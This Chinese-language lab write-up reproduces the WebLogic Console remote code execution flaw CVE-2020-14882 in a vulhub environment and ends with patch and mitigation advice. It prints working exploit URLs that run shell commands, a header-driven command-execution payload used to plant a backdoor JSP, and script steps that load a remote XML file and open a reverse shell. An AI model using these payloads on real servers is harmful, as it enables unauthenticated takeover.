Weblogic Console远程代码执行漏洞(CVE

您所在的位置:网站首页 csgo持枪移动抖动指令怎么用 Weblogic Console远程代码执行漏洞(CVE

Weblogic Console远程代码执行漏洞(CVE

2024-05-26 09:21| 来源: 网络整理| 查看: 265

目录

一 、漏洞描述

二 、影响版本

三 、漏洞利用

环境搭建

漏洞复现

四 、漏洞修复

一 、漏洞描述

WebLogic远程代码执行漏洞(漏洞编号:CVE-2020-14882)的补丁存在绕过风险,远程攻击者可以构造特殊的 HTTP 请求,在未经身份验证的情况下接管 WebLogic Server Console ,并在 WebLogic ServerConsole 执行任意代码。

二 、影响版本

Oracle WeblogicServer 10.3.6.0.0

Oracle WeblogicServer 12.1.3.0.0

Oracle WeblogicServer 12.2.1.3.0

Oracle WeblogicServer 12.2.1.4.0

Oracle WeblogicServer 14.1.1.0.0

三 、漏洞利用 环境搭建

操作系统:Ubuntu 20.04.2 LTS

此处利用vulhub的环境进行复现,开启docker-compose环境:docker-compose up -d

漏洞复现

1. 访问漏洞环境:http://your-ip:7001/console/login/LoginForm.jsp

2. 手工式利用

方法一:

1)根据不同需求进行Pyload构造。此处是通过在/tmp目录创建111.txt进行验证:

Pyload1:

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch%20/tmp/111.txt%27);%22)

方法二:

1)用burpsuit抓包,通过绕过后台,提交如下的Pyload2

Pyload2:

/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')

2)知道了当前页面的路径为/u01/oracle/user_projects/domains/base_domain,然后我们就可以在该目录下写入后门文件,此时是通过向backdoor.jsp输入一句话

3. 复现成功,效果如下:

Pyload1结果:

Pyload2结果:

4. 脚本化利用

 1)首先测试脚本是否可以正常使用,执行命令“python CVE-2020-14882_ALL.py -u http://192.168.17.134:7001 -c "whoami"”,发现返回“oracle”,证明脚本可用

2)通过外置xml文件执行无回显命令,首先编辑好poc.xml文件,并将poc.xml放在python39目录下

3)开启8000端口(目的是可以访问poc.xml)

4)此时访问8000端口可以发现poc.xml

5)使用ncat开启2233端口(目的是在这里反弹shell)

6)执行命令(python=python3)

python CVE-2020-14882_ALL.py -u http://192.168.17.134:7001 -x http://192.168.0.100:8000/poc.xml

7)此时监听的2233端口反弹shell

四 、漏洞修复

目前 Oracle 官方已发布了最新针对该漏洞的补丁,请受影响用户及时下载补丁程序并安装更新。Oracle 官方补丁需要用户持有正版软件的许可账号,使用该账号登陆 https://support.oracle.com 后,可以下载最新补丁。

临时修补建议

暂时对外关闭后台 /console/console.portal 的访问权限。



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3